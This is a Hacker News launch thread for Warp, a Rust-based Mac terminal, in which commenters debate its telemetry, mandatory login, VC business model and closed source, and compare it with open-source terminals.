Hacker News new | past | comments | ask | show | jobs | submit login
Show HN: Warp, a Rust-based terminal (warp.dev)
946 points by zachlloyd on April 5, 2022 | hide | past | favorite | 726 comments
Hi HN community,

I’m Zach, founder and CEO of Warp, and am excited to show you Warp, a fast Rust-based terminal that’s easy to use and built for teams. As of today, Warp is in public beta and any Mac user can download it. It works with bash, zsh, and fish.

The terminal’s teletype-like interface has made it hard for the CLI to thrive. After 20 years of programming, I still find it hard to copy a command’s output; I always forget how to use `tar`; and I always have to relearn how to move my cursor. To fix fundamental accessibility issues, I believe we need to start innovating on the terminal, and keep pushing further into the world of shells, ultimately ending up with a better integrated experience.

At Warp we are building a Rust-based terminal that keeps what’s best about the CLI while modernizing the experience. We’ve built

1) An input area that works just like a code editor: selections, cursor positioning and completion menus 2) Grouped commands and outputs: so you can easily copy, search, and share terminal outputs 3) AI-powered Command Generation and Community-sourced Workflows [0]: so you can find useful commands without leaving the terminal 4) The ability to share your outputs with teammates: no more pasting long unformatted code into Slack 5) Project Workflows: save your team’s common commands into your project so your teammates can run them from Warp See a demo here: [1]

We built Warp in Rust with GPU-accelerated graphics, and along the way we built our own UI framework, a text editor that’s a CRDT, and an out-of-the-box theming system. You can learn more here [2]. Huge thanks to our early collaborators: Atom co-founder Nathan Sobo, Nushell co-founder Andres Robalino, and Fish shell lead developer Peter Ammon.

We are planning to first open-source our Rust UI framework, and then parts and potentially all of our client. As of now, the community has already been contributing new themes [3]. And we’ve just opened a repository for the community to contribute common useful commands. [4]

Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features. We will never sell your data.

We are calling today’s release a “beta” because we know there are still some issues to smooth out. You will notice that a log-in is required and that we do collect usage data and crash reports. We do so to enable team features and also to keep improving the product. Post-beta, we will allow users to opt out of usage data. You can see our privacy policy here [5].

While it is a “beta”, we are confident that even today the experience is meaningfully better than in other terminals. If you use a Mac, please give it a shot at warp.dev and let us know how it goes. Otherwise, sign up here [6] to be notified when Warp is ready for your platform.

Join our community on Discord [7] and follow us on Twitter [8]

Let me know what you think! Ask me anything!

[0] https://docs.warp.dev/features/workflows [1] https://youtu.be/X0LzWAVlOC0 [2] https://blog.warp.dev/how-warp-works/ [3] https://github.com/warpdotdev/themes [4] https://github.com/warpdotdev/workflows [5] https://warp.dev/privacy [6] https://github.com/warpdotdev/warp/issues/120 and https://github.com/warpdotdev/Warp/issues/204 [7] warp.dev/discord [8] twitter.com/warpdotdev




There are some legitimate concerns about Warp throughout these comments (telemetry, business model, etc.).

But the one thing that really excites me is to have a full team working full-time on building the terminal that developers want to use. They're doing real user research, talking to developers, and taking feedback in forums like HN seriously - and using up millions of VC-dollars building a new version of this fundamentally important core utility. I'd much rather have that VC money go toward an attempt at a better terminal than some ML or web3 startup.

I think this doesn't usually happen? All the terminal emulators I've used usually open-source projects developed in someone's free time. Don't get me wrong, projects like Alacritty, urxvt, xterm, Terminator etc. are amazing for the funding they have (I think mostly $0?), but I'm super excited to see what a cohesive terminal based on real UX research can look like.


> using up millions of VC-dollars building a new version of this fundamentally important core utility

It's nice to think of this as 'taking advantage of' VC dollars, but VC dollars come with strings attached, namely the need for an 'exit'. The exit only happens if the company in question makes multiples of what it invested, meaning that VC-funded companies need significant revenue from their users. These days, the growth required for an exit leads to: 1) advertising being laced into a product, 2) user data being sold or otherwise monetized, or 3) charging you a monthly subscription fee.

Maybe this time it's different—there are theoretically other VC-friendly business models that work for software—but I struggle to see how.

Open-sourcing the application from the beginning would certainly give more confidence here.


I'm already wary of creating accounts on VC funded apps. Surely there are others like this too. I'm just tired of being burned by the cycle you just described, eventually value must be extracted and usually that means a tradeoff of user values versus budget values and I'm not here for that anymore.


Thanks kyeb. I agree with both points here - we need to be very careful and sensitive in terms of how we build this product from a privacy and security perspective, but we see the opportunity mostly the same way you do.

There are some great open source terminals out there, but having the opportunity to rethink it with a team of dedicated full-time engineers I think gives us an opportunity to build something really powerful and useful.


Not to mince words, but so far you've made a very basic series of unforced errors on both privacy and security. This is perhaps to be expected, as glancing at your About page, you don't seem to have any security or privacy specialists on staff. I don't even see a security page or contact info.

Warp is starting to read like a Product-driven startup. The kind where people figure security and privacy are little features you can just throw in at the end of the dev cycle and advertise until then. It's not like anybody is going to actually check or care, right?

It's an understandable error in a visionary. Yet it's not the kind of mindset that produces trustworthy, secure, privacy-respecting enterprise products that companies happily pay lots for.

You're absolutely right. Warp needs to be very careful and sensitive about privacy and security. It may be worth reflecting on why you haven't been so far.


There is a lot of constructive value in this comment, I hope it is internalized and thought about


For sure - one of my main takeaways from our ShowHN is that there's a ton of reasonable concern around login, telemetry, and open source that we need to address. We are going to come back to HN as we do that.

The HN community has a different default perspective than I have on a lot of these issues, but a perspective that matters to a ton.


The specific concerns identified here can be thought of as symptoms. I invite you to contemplate what cause they might share. Addressing specific issues around telemetry, openness, and logins without fixing the underlying organizational concerns will leave you playing whack-a-mole forever.

Since you get our collective concerns, I look forward to seeing how you address the organizational issues here.


Yeah I think some folks are seeing this and thinking the terminal is the product, when in reality the devops platform is the real product here and a slick terminal emulator is one component of that platform. Enterprises pay good money to companies like Redhat, Teleport, etc. for similar kinds of devops collaboration/security platforms.


where's the devops platform?

if all they have to offer us is the terminal, then their product is the terminal


it's a good question. today warp is a terminal as you say. the hope is that we can build a platform around the command-line, but we decided by trying to start with the terminal's fundamental UX to see if we could improve it. in order to make a platform we believe first we need a great product that folks want to use.


Everyone offering "platforms" these days. It's getting really tired and I can't be bothering to pay attention. Tools is where it's at, not platforms.


Warp wants to john deere-ify our tools. Soon you won't be able to buy a hammer or table saw without some sort of platform marketing speak and a subscription service.


Spirit Airlines of the Command Line.


If you want to use a terminal that is actually open source and doesn't have telemetry, much less only available via signing in with GitHub, use Alacritty, also written in Rust and cross platform.

https://github.com/alacritty/alacritty


Or alternatively wezterm, also open source, without telemetry, in Rust, and cross platform.

https://github.com/wez/wezterm


Wezterm is the best of the bunch I've tried, but I just keep going back to MATE terminal.


I use Konsole. It's written in I-dont-know-and-dont-give-a-shit-why-is-that-even-relevant.

It's free, does not spy on me, comes by default with Kubuntu and has great themes out of the box (including the Solarized themes).


> It's written in I-dont-know-and-dont-give-a-shit-why-is-that-even-relevant.

Same. But boy to people really like tools "written in Rust".


If you knew you could double your upvotes and praise by including that phrase why wouldn't you? I mainly write Go these days but when I submit my next tool to HN I'm just going to name it YadaYada Pro Written In Rust and retire on all the resulting upvotes. Its a foolproof plan and don't you dare judge me for it.


C++ mostly ;)


First of all, we love Alacritty: our terminal model code is based on Alacritty’s model code. We’re grateful that a few of the collaborators reviewed our early design docs.

We think the two products are meant for two different audiences.

Alacritty has a very minimalist philosophy that suits some terminal power users very well. It’s geared towards folks who are familiar with more advanced tools like tmux, and who are comfortable doing advanced configuration in the shell. For instance, Alacritty has no tabs: users are expected to use tmux.

With Warp, you get similar performance to Alacritty (we are both Rust-based, GPU-accelerated native apps, and Warp leverages some of Alacritty’s model code) But you also get many more built-in features that we think make all developers more productive, like:

- Blocks (grouping commands and outputs together)

- A modern text editor for your input

- Features like Workflows and AI command search that help you perform tasks faster

- Tabs, native split panes, and menus


I use alacritty every day, it’s the best terminal emulator I’ve come across.

That said, it’s not perfect. For example it lacks font ligature support, and there appears to be no prospect of that being implemented. I don’t care about ligatures that much anyway, so no big deal for me, but for others it is.

My experience using terminal emulators is that they are all flawed in at least one way. Whether it’s lack of true colour support; lack of ligature support; weird text rendering; weird colours; confusing configuration; etc. I feel like a terminal supporting all of those things must be possible, but I haven’t come across it yet.


Kitty has the features you're looking for, such as font ligature support. If you're on Windows, I just use the Microsoft Terminal.


Or Kitty, which does more or less the same things but includes split and tabs and other convenience features.


Kitty is cool, I use it on debian, but it is not cross-platform. So I hesitate to compare it to alacritty.


Oh hell, you are right! I’m only using linux and OSX now, and it works on both, so I’d never considered it might not work on windows.


It is a little bit unfortunate that alacritty is licensed under Apache, which means it can be forked into proprietary software like this. If it was gpl like kitty, the authors would have had no choice but to make it fully open source from the start.


Actually, the ability to re-license has more to do with who owns the copyright than it has with what the license is. A problem with a lot of GPL and AGPL software is that the copyright holder is a single corporate entity that insists on a copyright transfer for every OSS contribution. Often the whole point of using the GPL or AGPL license by these companies is that they are so restrictive that their customers have an incentive to buy a commercial license.

Nothing wrong with that of course and a valid business model. But it can become a problem when they choose to switch license or withdraw their product from the OSS market entirely (like Elastic did this last year). OSS where the individual contributors retain their copyright are much more robust. For example, Linux will never change license. It would be a legal nightmare to do that. They'd be chasing tens of thousands of copyright owners for their permission, or in some cases their surviving relatives. Every single one of them would have the power to say no. It would probably be cheaper to build a completely new OS kernel from scratch than to do that. Some companies that take issue with the license conditions actually are doing that. It's probably a big reason why Google is working on Fuchsia for example.

A lot of Apache software has distributed copyright ownership. Particularly everything hosted by the Apache Foundation. Nothing wrong with that license. Great software. Has existed for decades, will continue to exist for centuries.


They would not have used alacritty in that case.


Well, it doesn't look like they will be giving back. They will open source some things yes, but it doesn't look like it will go back into alacritty.


Which means it effectively makes no difference (for Alacritty) whether they use it or not.


Or just use xterm. It's blazing fast and even supports GPU acceleration if you are using a video driver that uses Xorg's GLAMOR acceleration framework. It has close to the lowest latency of any X terminal, as well. It has a reputation for being slow because it actually commits each character or terminal command to the display, you know, like a real terminal would. If you set the fastScroll X resource to true, xterm will behave like other terminal emulators and enable a speed hack that makes it skip display updates.


or Kitty

https://sw.kovidgoyal.net/kitty/


This is perhaps slightly orthogonal to the main discussion here on this thread, but I have a question for Zach (and the various engineers posting on this thread):

Did you guys talk to real-world users while building this and before this launch?

This whole blow-up re: your telemetry / open sourcey'ness seems like it could have been avoided. I'm curious if you actually floated these ideas with real world users and a) everyone else is cool with it but the HN crowd is super put off by it, b) everyone is super put off by it but you decided to launch anyway, or c) you didn't actually check with real-world users and hoped for the best.

Sorry if that sounds snarky - it's not my intent. I'm genuinely curious here as a product person / entrepreneur / builder, etc.


There's an active Discord with 700+ Warp users. I reported issues on it and immediately got helpful replies. They're talking to lots of real-world users.

My take is that the hacker news crowd is not the target market for Warp. I think it does an amazing job of making the terminal easy and friendly to infrequent users. I'd recommend it to anyone who tells me they prefer a git GUI interface over the shell because of how confusing the shell is. (this is where Warp's completions really shine)

But if you're already very comfortable in the shell and have a customized setup there's some very rough parts of Warp. Lack of any compatibility with existing bash/zsh completions is the huge deal breaker for me.

Also you'd be surprised at the number of software engineers that really don't care how many sentry logging calls their apps make. I completely agree with the sentiment, and I personally just disable the Warp application's internet access to address this, but it's worth recognizing that we're in the minority of people that care.


> Also you'd be surprised at the number of software engineers that really don't care how many sentry logging calls their apps make. I completely agree with the sentiment, and I personally just disable the Warp application's internet access to address this, but it's worth recognizing that we're in the minority of people that care.

I'm in this boat. I never understood why I should care if some website interacts with google apis or logs everything I do and sells it to marketers so they can sell me ads. I'll block them anyway so it'll never make a difference to me one way or the other.


how do you block them in an app like warp ?


See my other comment for what I use, TripMode, but a DNS block on *.sentry.io would block the sentry calls. I tried setting a proxy to see Warp's other network activity but only the sentry.io calls actually respect the system-wide proxy settings. Pretty annoying, though it's probably not intentional. Just takes a little more work to inspect its traffic.

Other DNS lookups it triggers:

   api.segment.io                
   app.warp.dev                  
   identitytoolkit.googleapis.com
   o540343.ingest.sentry.io      
   securetoken.googleapis.com    
   storage.googleapis.com


> I personally just disable the Warp application's internet access to address this

How do you do that? I used to use Little Snitch, but not sure if it's still the best these days.


ooops, I already replied to losvedir directly, but for everyone else on macOS I recommend TripMode: https://tripmode.ch/

It's far far simpler than little snitch. It's intended purpose is for managing low-data connections, but I leave it on all the time and use it as per-app network permission manager. The data usage tracking is also nice. By default all new apps lack network access. Takes a little bit of work to manage, and sometimes you get unexpected issues, but it's well worth it. Amazing seeing all the network activity trying to come from apps that really don't need the network at all. Like a terminal... (though for a deeper analysis I'll bust our Charles proxy with TLS interception)


Warp engineer here - thanks for writing about your experience!

As cieplik mentioned, it's true that telemetry has not been mentioned as frequently as it has been on HN.

> I think it does an amazing job of making the terminal easy and friendly to infrequent users.

As for our users, it's a combination of newer and more experienced terminal users. More than half of them are self-reported advanced or expert terminal users.


It's cool seeing Warp folks so active on here!

Some more thoughts: I've tried it a bunch, and my big issue with Warp is it just throws away a bunch of the more obscure/advanced shell features and pretends like they were never there. The sheer inelegance of it just pains me. Like if Warp wants to destroy my custom zsh keybindings, ok, but at least tell zsh that so they don't appear when I run `bindkey` to list them. Or at least pass along the key events to the shell when a shortcut is pressed that Warp doesn't already know about. Right now it just eats my custom bindings and does nothing with them.

Also my fzf history searching is also thrown away along with my keybindings to kill a line AND put it in the system pasteboard. (That's an awesome feature that Warp should just do) The other big one for me is completions. It's hard for me to imagine an expert terminal user that's never written their own completions, or if they have, is happy throwing them away.

I really like the idea of someone re-imagining the shell+terminal, but Warp is occupying this awkward middle ground between a terminal emulator and a shell. I wish it would either be a new shell with an integrated GUI interface, or be a terminal emulator that actually lets the shell do everything it knows how to do.


It's got 700 upvotes atm but not HN's audience? Okay...


This is a great answer. Thank you!


Hey - in general, yes, we do talk to our Users on a regular about the product (in fact, I first participated in the research session, and only after that decided to join the company).

I assume you're asking specifically about discussing telemetry and open source, not only the features. We try to be super open about collecting the data, and published an extensive list of things we report. Most of our users don't mind. Those that did, messaged us directly about it and shared their feedback. Some even decided to trust us after exchanging emails, talking to the team and seeing us improving the messaging based on their feedback.

Regarding open source - it is not just a vague promise. We do have plans on doing it, many team members joined the company because they want to contribute to the community. We actively discuss this topic with our community on Discord and Github. I'm personally super excited about our UI framework, and can't wait until we open it up to other people (we recently added some a11y support, which is super cool and not as common among the Rust frameworks). Here's the github discussion for more context: https://github.com/warpdotdev/Warp/discussions/400

However, we understand that our current mode of operation won't (and honestly, can't) please everyone, so it's not surprising that there are people who don't agree with this approach.


Why did you not just make telemetry and logins opt-in? That avoids the entire issue from day one.

I think that's what is giving people a strange feeling about this. You prioritized your own desires (not needs mind you) rather than your users. And if your thinking is so off that you really think these are needs during the beta then that is even more worrying.

If I were in your shoes I'd crunch immediately to make telemetry, crash reporting, and logging in three separate opt-in features then get a build out ASAP. Prompt people to enable or disable each with clear language in a single screen (no EULAs or lawyer weasel words) and no dark patterns (like double-negative checkboxes or flipping cancel and accept button colors).

For crash reports and logins there is an even better way to handle this that is respectful of your users without being obtrusive and shows you are working hard to earn trust. Then you only need one post-install prompt to ask permission to share data which is much simpler.

1. Ask the user each time you find a crash report and let them inspect it if they want to do so, then ONLY send the content the user inspected (no hidden payloads, extra HTTP headers, etc). Include a checkbox/dropdown "Always send" or "Never send". The default is to ask the user to help you out. It gives transparency by letting them inspect the entire payload. And if/when you've earned their trust they will click Always on their own. It also covers you just in case the payload accidentally picks up something sensitive.

2. When the user invokes a feature that actually needs a login then prompt them at that time. Or if the context doesn't allow that, show an unobtrusive icon, link, or banner in a context-appropriate way that lets them create an account or login.

3. For sharing let users share things anonymously with links, no account required. Once they've started using the feature let them know they can create an account to "claim" the things they've shared. This can be a good way to show people the benefits rather than just claiming benefits exist. It makes a nice on-ramp without pestering or annoying people who never create an account. And the people they share things with may end up becoming your users.


> Why did you not just make telemetry and logins opt-in?

While I'm not them, I can answer this. Users did ask for this as much as they asked for other things.

> You prioritized your own desires (not needs mind you) rather than your users.

That's an awfully big assumption to make, and one that does not conform to reality.


Will Wrap licensed under a FOSS license (any of those approved by OSI or FSF) after being open sourced?


Thank you for answering! So it really just sounds like an impedance mismatch between Warp and the HN crowd.


> Some even decided to trust us

You could also be that special someone to trust us. Let's trust each other.


Is it possible that this is blowing up only on HN and the privacy thing is not regarded as so important in other communities?


Don't know. I downloaded the image, installed it and was greeted by a mandatory login. Next step was uninstall and delete the dmg image. What a waste of time.


That’s my option (a) above. I too am curious!


We spoke with a lot of users (someone mentioned our discord which has thousands of members) and there are thousands of developers using Warp every day (prior to this ShowHN).

We also were expecting some of this response from the HN community, and understand it.

The short answer to your question is that different developers care about different things. A lot of developers are OK with login, telemetry etc (we are not the only tool that has these things), and they exist in our case because it helps us produce a better product experience.

That said, I don't want to dismiss your question - we needed to do a better job understanding the perspective of more developers, and the response on HN has made that very clear. We are going to take the feedback and adjust course.

Thank you!


what is it to talk about? Anything to be discussed about telemetry as a general concept, has been discussed in other products at some point. I personally think the paranoid toward telemetry is just an ideological one, I doubt people can articulate exactly how telemetry is detrimental to them.

I would not blame companies for adding telemetry for improving their product (instead of tracking user), and not explicitly tell the paranoid mob about it, as if to give them excuse not to use the product. It's not like they won't find out anyway.


> I doubt people can articulate exactly how telemetry is detrimental to them.

It’s not hard to articulate. Here’s Der Spiegel’s 2013 reporting on the NSA’s use of Windows telemetry for passive observation of targets:

> The automated crash reports are a "neat way" to gain "passive access" to a machine, … [this] provides valuable insights into problems with a targeted person's computer and, thus, information on security holes that might be exploitable for planting malware or spyware on the unwitting victim's computer.

> In one internal graphic, [the NSA] replaced the text of Microsoft's original error message with one of their own reading, "This information may be intercepted by a foreign sigint system to gather detailed information and better exploit your machine."


This is neat, but I'm not convinced it's going in the right direction.

It's not open source, and "maybe it will eventually be" is unacceptable for such a core component of an engineer's workflow. Most of the features on the front page are "coming soon," not actually available. There's no timeline for support for non-Mac OS systems, and it's built using Metal rather than any cross-platform API, so it will be at least moderately difficult to port. (Isn't the whole point collaboration?) It is "blazingly-fast" but has no benchmarks for latency or startup time.

The team raised money because "[b]uilding a terminal is hard," and the business model seems reasonable - build a terminal people like, and then get businesses to pay for it - but I'm hard-pressed to find a use case that would benefit from the upsides of this tool which isn't also utterly hamstrung by its shortcomings, at least currently.

Yeah, maybe you can justify it at an all-Mac dev shop, but at the last all-Mac place I worked we did everything this currently does with iTerm (free) and Tuple, and frankly I don't see this obviating the need for Tuple in that use case. (EDIT: Tuple also works fine on Linux, and of course there are myriad excellent terminals for Linux.)

Perhaps most importantly, though, this FAQ entry concerns me:

> Every session you work on your desktop can be backed by a secure web permalink. It opens into a browser tab that shows your terminal state and allows readers to scroll and interact with the read-only elements. You might use this for yourself: so you can view and run commands on it while you're away from your machine. Or you might share it with a coworker for debugging.

First of all, is this actually available at the moment? I think not, since "Web (WASM)" is still on the roadmap.

Second, "secure" is doing a lot of work here. What's the threat model Warp considers themselves secure against? How are these sessions allocated? Does every terminal start in a connected state, or is the connection only made once the user opts in? Are the terminal sessions E2EE? Are they exposed to Warp's internal systems? If so, what is stopping any attacker who makes it into Warp's network from remotely monitoring and controlling user machines? If Warp says it _is_ E2EE or otherwise secured in this manner, how can we trust them when it's not open source?

This seems too risky to be worth using seriously, and perhaps too risky to even try out.


Yeah, I just got an invite code yesterday, but given this I may opt against using it - this seems like a real risk for leaking env vars, credentials...I don't so much mind stuff like Segment and Sentry, but I'd love to see some details from someone familiar with the project around the same questions you raised regarding the web-integrated functionality.


1000s of developers use Idea's IntelliJ, Webstorm and GoLand. Only the community edition of IntelliJ is open source.

Software doesn't need to be open source for it to be adopted, if they have the right security practices and I'm sure for enterprise contracts they will have the right level of information available under NDA when GA.


Enterprise contracts also include clauses spelling out financial consequences of major screwups. If Jetbrains screws up and a customer's passwords go everywhere, I'd bet the contract makes Jetbrains at least a bit liable.

I doubt Warp offers a clause like that.


You're comparing a 10+ year old company with a company that has a product in beta. I don't think this is a valid comparison. I'm sure they'll provide enterprise level contracts and support for large installation at some point.


Yes, I am. You're absolutely right. I'm doing so in order to illustrate what it is about mature closed-source enterprise software offerings that makes them acceptable to use.

Otherwise it amounts to using a random binary blob and hoping it does what you want it to. Without any ability to check its internals yourself (short of RE) or any legal backing.

Some might opine that that's completely reasonable, but I think many might find it an unreasonable risk for an enterprise to take. Regardless of how new the vendor may be.

Again, you're completely right about the comparison I am making. I hope I've been able to clarify my reasons.


Great callouts, I definitely get your concern around block sharing--that feature does exist currently in Warp but it is completely opt in on a per command basis (we never collect any command output without the user opting into it first). The way this works is that if you explicitly click "Share" by right clicking on a block, we will send the contents to our server and generate a link for you. A block can also be unshared at any point to completely delete a block from our server.

Regarding the cross-platform piece, the plan is absolutely to support different platforms. In fact we've built our own cross-platform UI framework to help us with this endeavor which you can read about here: https://www.warp.dev/blog/how-warp-works. We chose Metal to start because the Metal debugging tools in Xcode are excellent, allowing us to inspect texture resources and easily measure important metrics like frame rate and GPU memory size. Thankfully, because our graphics code is decoupled from our UI framework, porting the graphics piece of the UI framework essentially mounts to porting over a few hundred lines of shader code, which shouldn't be too difficult.


What is Tuple?

Edit: After searching for variations of “terminal” “iterm” and “tuple”, of course it’s the top hit if you just search Mac and tuple! https://tuple.app/


>It's not open source, and "maybe it will eventually be" is unacceptable for such a core component of an engineer's workflow.

That's a huge overstatement. What's unacceptable about it (or any other software for that matter) closed-source?


> What's unacceptable about it (or any other software for that matter) closed-source?

Lots of things. Lock-in for once. Warp's VC decide they want an exit and Warp becomes 50usd/month sass or some sanctions block you from using Warp. You're hole workflow, scripts etc are basically dead. Also, what is in that closed source? No one can audit it and it's literally the environment that contains all of your secrets.


Like others here, I'm leery of replacing my terminal with a VC-backed, maybe open-sourced eventually product, and a bit annoyed it claimed a name already in use in the Rust world.

But...it is exciting to see someone reimagining the terminal a bit. People frequently talk about wanting a better GUI interaction model for everyone, but the actual ideas to improve it seem to be missing, I think because the desktop status quo is really not that bad for low-learning curve systems. (In fact, I think many of the changes in the name of desktop/mobile convergence have been for the worse.) I'm way more interested in the idea of creating a hybrid text/graphic command interface for programmers. There's a much better interface waiting for someone with the vision and (more importantly) ability to create an ecosystem around it. Some ideas:

* Warp's more visual completion is super welcome. Does it work with the shell's standard completion scripts?

* Warp's blocks look like a nice step in the right direction. How do they work? I'd guess it's ANSI codes like iTerm uses to distinguish the ends of commands, although that has the downside that a broken/hostile command can impersonate the shell saying the command has ended. It'd be nice to work out some compatible yet more robust protocol. (Maybe the shell takes responsibility for piping subcommand's output through it and filtering, or maybe something else.)

* It'd be interesting to further extend blocks with some protocol that allows programs to output within their block using richer elements: non-monotype fonts, adjustable tables, etc. A little like a Jupyter notebook, maybe. Even better if it works with some richer way for programs to pipe information to each other.

* Likewise, when launching alternate-screen terminal stuff, to allow them to do more with the rectangle than a grid of text. Closer to embedding an arbitrary cross-platform network-transparent GUI, launched from the shell, occupying its rectangle.

* And at first glance, looks like it's missing tmux-like features (whether integration with tmux proper like iTerm has or its own thing). I'd want that in any richer terminal app—most of my work in terminals is on remote machines, often over flaky network connections.


I'm working on a terminal browser of sorts that is designed to browse terminal user interfaces served by servers. The idea is that no mouse input is supported and servers specify keyStrokes for links. It starts from a protobuf specification optimized for sending components over gRPC in a pageRequest/pageResponse manner.

In order to promote the idea I've been spending most of the time writing a client in Go. I think it has enough functionality that I can start writing servers that really showcase the capabilities.


This sounds like ssh apps via https://charm.sh


Yes. Thanks for this. This is very very similar to what I'm trying to do. I guess more like the subproject https://github.com/charmbracelet/wish than anything.

I suppose the difference is that I like the idea of being able to link to other servers and keep a contextual menu bar telling the user where they are. Also, in corporate environments SSH is often locked down because of what it could potentially do. This would be nice as it would be sandboxed to only what the client/server are coded to do.

Thanks for the link, this gives me some things to think about.


FWIW, I think ssh apps or something similar could be a very powerful paradigm for people who live in the terminal and a diversity of ideas here would be welcome.


Warp engineer here. Really appreciate your ideas here!

> Warp's more visual completion is super welcome. Does it work with the shell's standard completion scripts?

It does not. But we have completions out of the box for 200 commands.

Warp's input is a text editor instead of the shell input. This means we ended up building completions by hand and soon, via the community. We think this is a better experience because we can provide more in-line documentation.

> Warp's blocks look like a nice step in the right direction. How do they work?

tldr; shell hooks

Most shells provide hooks for before the prompt is rendered (zsh calls this precmd) and before a command is executed (preexec). Using these hooks, we send a custom Device Control String (DCS) from the running session to Warp. Our DCS contains an encoded JSON string that includes metadata about the session that we want to render. Within Warp we can parse the DCS, deserialize the JSON, and create a new block within our data model.

Re: impersonation: that's a good concern we will consider.

> It'd be interesting to further extend blocks with some protocol that allows programs to output within their block using richer elements.

Absolutely! This is definitely in the roadmap. We want rich output like adjustable tables and images. We also want to support a protocol so other CLI programs can use it.

> Likewise, when launching alternate-screen terminal stuff, to allow them to do more with the rectangle than a grid of text.

Yes we are thinking of supporting blocks within tmux, for example.

> And at first glance, looks like it's missing tmux-like features (whether integration with tmux proper like iTerm has or its own thing).

Yes, other than split panes, we do not have tmux-like features. We've begun mocking out what those features could look like. We are thinking of a native window management solution and a native way of saving workspace/session templates.

We are also thinking of what a deeper integration with Tmux might look like.


> This means we ended up building completions by hand and soon, via the community.

You like people to contribute for free ("build a community") but refuse to give them an actual FOSS client. This is bound to fail.

There are ways to make this go both ways though, and I hope you'll make them work once you are a bit further along in your journey. Exciting project!


Meh, I could be into it without them providing a FOSS implementation. Think of Microsoft's language server protocol. It's nice that VS Code is open source, but even if it weren't, we might still be using this protocol with rust-analyzer and neovim. Or any number of older protocols/formats with RFCs that didn't start with good FOSS implementations.

In the case of completion, if you can generate (less rich but still useful) bash/zsh/fish completion scripts from these files, program authors might be happy to use it even in the absence of a fancy terminal.


There exists multiple fully functional FOSS LSP clients. The semi-proprietariness of VS Code does not doom LSP.

The documentation people would contribute to Warp though are unlikely to have any popular FOSS clients.


> You like people to contribute for free ("build a community") but refuse to give them an actual FOSS client. This is bound to fail.

Sublime text has a pretty active community that builds and shares extensions.

Why not warp?


Sublime is selling a product that users can purchase and own

Warp is owned by venture capitalists


How about we don’t downvote the developers when they take time to answer questions?

I don’t care if it wasn’t the answer you were hoping for -this should be upvoted as it is very relevant for the conversation in this thread.


I'm wondering if the solution for the block separation could be to have separate tty (or pty?) for each block. I guess that wouldn't work too well with existing shells though


That might be interesting for supporting multiple blocks running at once without confusion, as an update to the classic shell job control. Highlighting stdout vs stderr differently, too.

Another dimension to consider is the possibility of nested blocks: subshells, ssh, programs with their own REPL, etc.


That is how I thought it worked first. That each pty executed its own shell instance and passed their environment and current working directory between them. Perhaps that would be a very naive approach that couldn't work in practice


Wanted to give it a shot but got disappointed when I launched it and the following happened:

- Outgoing request to googleapis.com

- Outgoing request to segment.io

- Outgoing request to sentry.io

- Requires sign up (only via Github, mind you)

I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sentry: not interested in sending telemetry from my terminal. Finally having user accounts for a terminal is such as strange concept.

I really wanted to like it, too. The screenshots look great


Also: security?

I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I have no choice but to treat it with the same level of scrutiny as my browser.

Even making telemetry opt-in means that it has the capability to send information to the internet that I don’t know about, which means that I have to treat it like an application that can do that.

Honestly, this freaks me out. It’s an angle I’ve never considered before. Now I need to make sure my current terminal emulator (kitty) isn’t sending information to the internet without my permission.


Agree, this is a pretty bad deal breaker for me. Big business people doing short-sighted big business things, salivating at cramming a product full of telemetry. All without transparency around it? In a terminal of all things?? Indescribably off-putting and catastrophically damages my trust in the product and the CEO.

EDIT: To be fair there is some transparency in the original post. I was looking through the landing page for it (where it is not mentioned). Also, imho it should still be opt-in even for beta. Not everyone is going to read the wall of text to parse out the buried note on telemetry


This is why I deleted Fig (https://fig.io/) right after installing it. It must've sent some uninstall information, too, because the creator/CEO emailed asking why I uninstalled it afterwards...


Oh yea, Fig is also the one that is Mac only but never mentions that fact anywhere on their website. Everything is written to just presume that the reader is on a Mac.

Their getting started instructions [0] are all just terminal commands too, and even that doesn't mention Mac once.

[0] - https://fig.io/docs/getting-started


> Oh yea, Fig is also the one that is Mac only but never mentions that fact anywhere on their website. Everything is written to just presume that the reader is on a Mac.

Not that it is not annoying, it is, but that's pretty common with Mac-only software in my experience.


It's even more common with windows-only software.


Every single tool in the console homebrew space, I swear. And it's not like the code isn't portable, it's usually just some command-line / batch thing; but they just don't bother to compile it for anything other than Windows; and then they don't release it as OSS for you to do so, either. The number of things I've had to run under WINE...


Hmm use mac and win heavily, not found that to be the case nearly as much on win10/11.

On the rare occasion it is truly just win, it's usually made clear far more than macos only.


"Send Download link" is a huge red flag. The only reason to have such a button is to send spam.


Yikes. No thanks.


lmao the same happened to me


Hi - as the poster and founder I again completely get the concern.

We should make it even more transparent what we collect. You can see it here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel...

Re: big business, we're still pretty small, but it's true that we are trying to build a business around the command-line. I get that's controversial and it's not something that exists and that the terminal is a super-sensitive low level tool.

We will never ever build a business around terminal data, and to be super explicit, we are 100% not collecting any command inputs or outputs.

The business that we want to build is around making a terminal (or a platform for text based apps) that grows because it makes individuals and teams a lot more productive on the command line.

I've there's one thing I've taken away from this ShowHN so far is that there is a lot of well-founded concern about the terminal and user data and that we need to do a better job on this issue.


Hey Zach, while I think your post is well-intentioned, the contemporary default level of trust around tech companies and data privacy is just very low. As a new entrant to the field, you inherit the default valuation—people have no other info to go off of.

Given that, it's probably the case that the only options are to either be fully open source or to make a fully offline mode an option.

In any case, I think the concept for your product is excellent—it's been mind-boggling to me that something along these lines wasn't tackled years ago, so I look forward to your guys' future success, hopefully moving the state of terminal interaction into the modern era.


> ...the contemporary default level of trust around tech companies and data privacy is just very low...

It's not just that the level of trust is very low. I shouldn't need to place any trust in the developers of my terminal at all. If I can't know for a fact that it's not acting against my interests, then I'll pass. I already have such a big selection of fully open-source terminals available. Why would I even consider taking any king of risk with this one?


I can’t speak for you, but generally people at least consider this tradeoff because of the additional utility of the third party tool. Ideally all these features would exist in the system terminal, but that hasn’t happened, and it possibly won’t ever.


As much as I can appreciate the community’s reaction to your approach of default collection of telemetry, I can also equally appreciate you and the rest of the team sucking it up and accepting the feedback. Thanks for that, and I’m personally interested to see where you’re able to take Warp. I think there’s something potentially pretty compelling here.

My advice here would be to simply make telemetry opt-in during the beta period. I’m typically pretty liberal about opting in to telemetry (particularly when the extent of which is documented), but obviously a lot of your users will not be. Your desire to accelerate your progress seems to conflate with the needs of your target demo, and I think this warrants adjustment.


